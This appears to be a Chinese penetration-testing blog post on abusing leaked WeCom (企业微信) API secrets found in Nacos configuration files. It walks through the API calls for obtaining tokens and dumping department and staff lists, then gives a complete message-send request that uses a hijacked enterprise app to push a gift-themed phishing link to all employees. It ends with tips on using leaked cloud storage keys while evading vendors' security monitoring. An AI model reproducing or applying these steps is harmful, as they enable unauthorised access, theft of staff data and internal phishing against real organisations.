【内网安全】Nacos配置文件攻防思路总结

这块利用思路的话，主要有：

1、查找部门、人员信息；2、创建企微成员，然后钓鱼（创建成员需要通讯录权限,笔者很少遇到）；3、没有权限创建成员的话，利用企微应用发消息钓鱼；（划重点）

1.1.1 获取企微access_token

https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid=SafetyCockpit03&corpsecret=SafetyCockpit03

1.1.2 先查看access_token权限

https://open.work.weixin.qq.com/devtool/query

1.1.3 获取企业微信API域名IP段

https://qyapi.weixin.qq.com/cgi-bin/get_api_domain_ip?access_token=SafetyCockpit03

1.1.4 获取部门列表

https://qyapi.weixin.qq.com/cgi-bin/department/list?access_token=SafetyCockpit03

1.1.5 获取部门成员/详情

https://qyapi.weixin.qq.com/cgi-bin/user/simplelist?access_token=SafetyCockpit03&department_id=SafetyCockpit03&&fetch_child=1

我这里尝试，未带&&fetch_child=1如果只出来的一条信息，那么一般就是部门老大的信息：

而带&&fetch_child=1遍历的话，就是全部门的人员信息

https://qyapi.weixin.qq.com/cgi-bin/corp/get_join_qrcode?access_token=eQq8YjcgxHOtkxxx

拿到secret当然是直接添加成员到企微，然后进行后续操作比如钓鱼的话方便一点，但有时候我们拿到的key可能没有那么大的权限，如图，在获取加入企业微信二维码和创建成员的时候，并没有权限：

获取加入企业二维码：错误码48002

创建成员：错误码48002

错误码48002解释：API接口无权限调用

这个时候没法加入企微，除了得到一些人员信息，还能怎么利用呢？

答案是我们可以接管企微应用，利用企微应用钓鱼。

如图，查询access_token的时候，可以查到应用的AgentId，这个发送消息会用到。

https://developer.work.weixin.qq.com/devtool/query

然后在https://developer.work.weixin.qq.com/resource/devtool工具里，发送应用消息

或者直接掏出数据包发送：

POST/cgi-bin/message/send?access_token=SafetyCockpit03 HTTP/1.1

Host: qyapi.weixin.qq.com

Content-Type: application/json

{

"touser": "SafetyCockpit03",

"toparty": "@all",

"totag": "@all",

"msgtype": "news",

"agentid": 1000xxx,

"news": {

"articles": [

           {

"title": "中秋节礼品领取",

"description": "今年中秋节公司有豪礼相送",

"url": "钓鱼链接",

"picurl": "展示的图片链接",

"appid": "",

"pagepath": ""

           }

        ]

   },

"enable_id_trans": 0,

"enable_duplicate_check": 0,

"duplicate_check_interval": 1800

}

测试效果图：

点进去后：

这块不太熟，就不妄论了，可以网上找找更加详细的利用方式。

但是需要注意的是，前期最好不要使用开源的云环境利用框架工具，因为大部分厂商都是有安全监测的，这里以阿里云为例：

所以建议先使用官方提供的工具看看存储桶有无敏感信息，没有敏感信息的话再用开源工具进行利用也不迟，以免浪费辛辛苦苦搜集到的key。

阿里云官方工具下载链接：

https://gosspublic.alicdn.com/ossbrowser/1.18.0/oss-browser-win32-x64.zip

腾讯云的话，可以直接使用在线环境：

https://cosbrowser.cloud.tencent.com/login

https://cos.cloud.tencent.com/tools/cosbrowser

AWS官方工具下载链接：

https://s3browser.com/download/s3browser-11-7-5.exe

巨多资料：